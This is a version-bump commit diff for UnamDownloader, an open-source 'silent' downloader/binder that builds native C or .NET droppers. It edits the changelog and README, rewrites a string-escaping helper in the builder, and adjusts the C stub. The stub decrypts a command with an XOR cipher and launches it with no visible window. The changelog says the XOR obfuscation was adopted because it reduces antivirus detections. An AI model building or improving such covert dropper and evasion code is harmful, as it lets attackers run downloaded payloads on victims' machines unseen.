Updated to v1.3.1

* Changed string literal function

Author: UnamSanctam

CHANGELOG.md

@@ -1,3 +1,5 @@
+### v1.3.1 (05/09/2021)
+* Changed string literal function
 ### v1.3.0 (03/09/2021)
 * Changed obfuscation from reversed string to XOR encryption, reduces detections and file size
 * Fixed bug when file path included apostrophes or any other escape characters

README.md

@@ -1,7 +1,7 @@
 
 <img src="https://github.com/UnamSanctam/UnamDownloader/blob/master/UnamDownloader.png?raw=true">
 
-# UnamDownloader 1.3.0 - A free silent downloader
+# UnamDownloader 1.3.1 - A free silent downloader
 
 A free silent (hidden) open source downloader (binder) that can be built as either a native C or managed .NET C# file. A downloader is essentially the same as a binder although it downloads the files instead of storing them in memory.
 
@@ -27,6 +27,8 @@ You can find the wiki [here](https://github.com/UnamSanctam/UnamDownloader/wiki)
 
 ## Changelog
 
+### v1.3.1 (05/09/2021)
+* Changed string literal function
 ### v1.3.0 (03/09/2021)
 * Changed obfuscation from reversed string to XOR encryption, reduces detections and file size
 * Fixed bug when file path included apostrophes or any other escape characters

UnamDownloader/Builder.Designer.cs

@@ -161,14 +161,27 @@ public string Cipher(string data, string key)
 
         private static string ToLiteral(string input)
         {
-            using (var writer = new StringWriter())
+            var literal = new StringBuilder(input.Length + 2);
+            foreach (var c in input)
             {
-                using (var provider = CodeDomProvider.CreateProvider("CSharp"))
+                switch (c)
                 {
-                    provider.GenerateCodeFromExpression(new CodePrimitiveExpression(input), writer, null);
-                    return writer.ToString();
+                    case '\"': literal.Append("\\\""); break;
+                    case '\\': literal.Append(@"\\"); break;
+                    case '\0': literal.Append(@"\u0000"); break;
+                    case '\a': literal.Append(@"\a"); break;
+                    case '\b': literal.Append(@"\b"); break;
+                    case '\f': literal.Append(@"\f"); break;
+                    case '\n': literal.Append(@"\n"); break;
+                    case '\r': literal.Append(@"\r"); break;
+                    case '\t': literal.Append(@"\t"); break;
+                    case '\v': literal.Append(@"\v"); break;
+                    default:
+                        literal.Append(c);
+                        break;
                 }
             }
+            return literal.ToString();
         }
 
         public string SaveDialog(string filter)

UnamDownloader/Builder.cs

@@ -22,7 +22,7 @@ int main(int argc, char **argv)
 	memset(&p_info, 0, sizeof(p_info));
 	s_info.cb = sizeof(s_info);
 
-	if (CreateProcess(NULL, cipher(#COMMAND, "#KEY", #LENGTH), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &s_info, &p_info))
+	if (CreateProcess(NULL, cipher("#COMMAND", "#KEY", #LENGTH), NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &s_info, &p_info))
 	{
 		CloseHandle(p_info.hProcess);
 		CloseHandle(p_info.hThread);